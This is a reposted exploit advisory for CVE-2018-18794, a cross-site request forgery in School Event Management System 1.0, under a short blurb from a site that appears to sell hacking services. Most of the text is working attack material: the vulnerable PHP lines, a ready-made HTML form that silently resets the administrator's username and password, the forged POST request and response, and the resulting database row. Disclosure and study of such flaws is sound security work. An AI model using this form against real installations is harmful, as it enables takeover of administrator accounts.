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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: School Event Management System 1.0 - Cross-Site Request Forgery (Update Admin)
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/sems_1.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18794

# POC: 
# 1)
# .../[PATH]user/user/edit.php
#02      if (!isset($_SESSION['ACCOUNT_ID'])){
#03       redirect(web_root."index.php");
#04      }
#05 
#06   @$USERID = $_GET['id'];
#07     if($USERID==''){
#08   redirect("index.php");
#09 }
#10   $user = New User();
#11   $singleuser = $user->single_user($USERID);
# .../[PATH]user/controller.php
#80 $user = New User(); 
#81 $user->ACCOUNT_NAME 		= $_POST['U_NAME'];
#82 $user->ACCOUNT_USERNAME		= $_POST['U_USERNAME'];
#83 $user->ACCOUNT_PASSWORD		=sha1($_POST['U_PASS']);
#84 $user->ACCOUNT_TYPE			= $_POST['U_ROLE'];
#85 $user->update($_POST['USERID']);
#86 
#87 message("[". $_POST['U_NAME'] ."] has been updated!", "success");
#88 redirect("index.php");
# ...
<html>
<body>
<form action="http://localhost/[PATH]/user/controller.php?action=edit" method="POST">
<input id="USERID" name="USERID" placeholder="Account Id" type="Hidden" value="1">
<input name="U_NAME" placeholder="Account Name" type="text" value="admin">

<input name="deptid" type="hidden" value="">
<input name="U_USERNAME" placeholder="Username" type="text" value="admin">

<input name="deptid" type="hidden" value="">
<input name="U_PASS" placeholder="Account Password" type="Password" value="">
<input name="deptid" type="hidden" value="">
<input id="RU_PASS" name="RU_PASS" placeholder="Re-type Password" type="Password" value="">

<select name="U_ROLE" id="U_ROLE">
<option value="Administrator">Administrator</option>
<option value="SSG">SSG</option>
</select> 
<button id="save" name="save" type="submit">Save</button> 
</body>
</html>

POST /[PATH]/user/controller.php?action=edit HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
USERID=1&U_NAME=admin_test&deptid=&U_USERNAME=admin_test&deptid=&U_PASS=admin_test&deptid=&RU_PASS=admin_test&U_ROLE=Administrator&save=
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 17:57:48 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 128
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

/* `exploitdb`.`useraccounts` */
$useraccounts = array(
  array('ACCOUNT_ID' => '1','ACCOUNT_NAME' => 'admin_test','ACCOUNT_USERNAME' => 'admin_test','ACCOUNT_PASSWORD' => '3f72bcb53fb301af20d78d152456d901c30a43b3','ACCOUNT_TYPE' => 'Administrator','EMPID' => '1234','USERIMAGE' => 'photos/import2.png')
);